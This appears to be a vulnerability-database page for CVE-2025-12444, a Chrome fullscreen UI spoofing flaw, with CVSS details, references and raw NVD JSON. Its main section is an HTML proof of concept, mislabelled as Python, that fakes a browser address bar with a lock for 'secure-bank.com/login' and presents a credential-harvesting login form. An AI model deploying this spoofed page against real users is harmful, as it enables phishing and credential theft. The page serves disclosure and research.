CVE-2025-12444

Description

Incorrect security UI in Fullscreen UI in Google Chrome prior to 142.0.7444.59 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

4.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 142.0.7444.59

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-12444 UI Spoofing PoC -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CVE-2025-12444 PoC</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { 
            font-family: Arial, sans-serif; 
            background: #202124; 
            color: white;
            overflow: hidden;
        }
        .fake-toolbar {
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            height: 50px;
            background: #3c4043;
            display: flex;
            align-items: center;
            padding: 0 15px;
            z-index: 99999;
            border-bottom: 1px solid #5f6368;
        }
        .fake-url-bar {
            flex: 1;
            height: 36px;
            background: white;
            border-radius: 18px;
            display: flex;
            align-items: center;
            padding: 0 15px;
            color: #202124;
            font-size: 14px;
        }
        .fake-lock {
            margin-right: 8px;
            color: green;
        }
        .fake-content {
            margin-top: 60px;
            padding: 20px;
            text-align: center;
        }
        .fake-form {
            max-width: 400px;
            margin: 50px auto;
            padding: 30px;
            background: #3c4043;
            border-radius: 8px;
        }
        .fake-input {
            width: 100%;
            padding: 12px;
            margin: 10px 0;
            border: 1px solid #5f6368;
            border-radius: 4px;
            background: #202124;
            color: white;
        }
        .fake-button {
            width: 100%;
            padding: 12px;
            margin-top: 15px;
            background: #8ab4f8;
            border: none;
            border-radius: 4px;
            color: #202124;
            cursor: pointer;
            font-weight: bold;
        }
        .trigger-btn {
            padding: 15px 30px;
            font-size: 18px;
            background: #1a73e8;
            color: white;
            border: none;
            border-radius: 8px;
            cursor: pointer;
        }
        #fullscreen-content {
            display: none;
            width: 100vw;
            height: 100vh;
            background: #ffffff;
        }
    </style>
</head>
<body>
    <div id="initial-screen">
        <div class="fake-content">
            <h1>CVE-2025-12444 UI Spoofing Demo</h1>
            <p style="margin: 20px 0; color: #bdc1c6;">
                This PoC demonstrates the Fullscreen UI security flaw in Chrome.
                Click the button below to trigger fullscreen mode.
            </p>
            <button class="trigger-btn" onclick="enterFullscreen()">
                Enter Fullscreen Mode
            </button>
        </div>
    </div>

    <div id="fullscreen-content">
        <div class="fake-toolbar">
            <div class="fake-url-bar">
                <span class="fake-lock">🔒</span>
                <span>secure-bank.com/login</span>
            </div>
        </div>
        <div class="fake-content">
            <div class="fake-form">
                <h2 style="margin-bottom: 20px;">Session Expired</h2>
                <p style="margin-bottom: 15px; color: #bdc1c6;">Please re-enter your credentials</p>
                <input type="text" class="fake-input" placeholder="Username">
                <input type="password" class="fake-input" placeholder="Password">
                <button class="fake-button" onclick="collectData()">Login</button>
            </div>
        </div>
    </div>

    <script>
        function enterFullscreen() {
            const elem = document.getElementById('fullscreen-content');
            if (elem.requestFullscreen) {
                elem.requestFullscreen();
            } else if (elem.webkitRequestFullscreen) {
                elem.webkitRequestFullscreen();
            } else if (elem.msRequestFullscreen) {
                elem.msRequestFullscreen();
            }
            document.getElementById('initial-screen').style.display = 'none';
            document.getElementById('fullscreen-content').style.display = 'block';
        }

        function collectData() {
            console.log('[PoC] Data collection triggered - UI spoofing successful');
            alert('UI Spoofing PoC executed successfully.\nIn a real attack, credentials would be exfiltrated.');
        }

        document.addEventListener('keydown', function(e) {
            if (e.key === 'Escape') {
                document.getElementById('initial-screen').style.display = 'block';
                document.getElementById('fullscreen-content').style.display = 'none';
            }
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12444
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12444
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12444/
[4] VulDB https://vuldb.com/cve/CVE-2025-12444
[5] https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html
[6] https://issues.chromium.org/issues/390571618

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12444", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:39.143", "lastModified": "2025-11-13T15:22:09.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect security UI in Fullscreen UI in Google Chrome prior to 142.0.7444.59 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.59", "matchCriteriaId": "B56189F0-45F6-4A5B-AFFD-07B20B001040"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/390571618", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}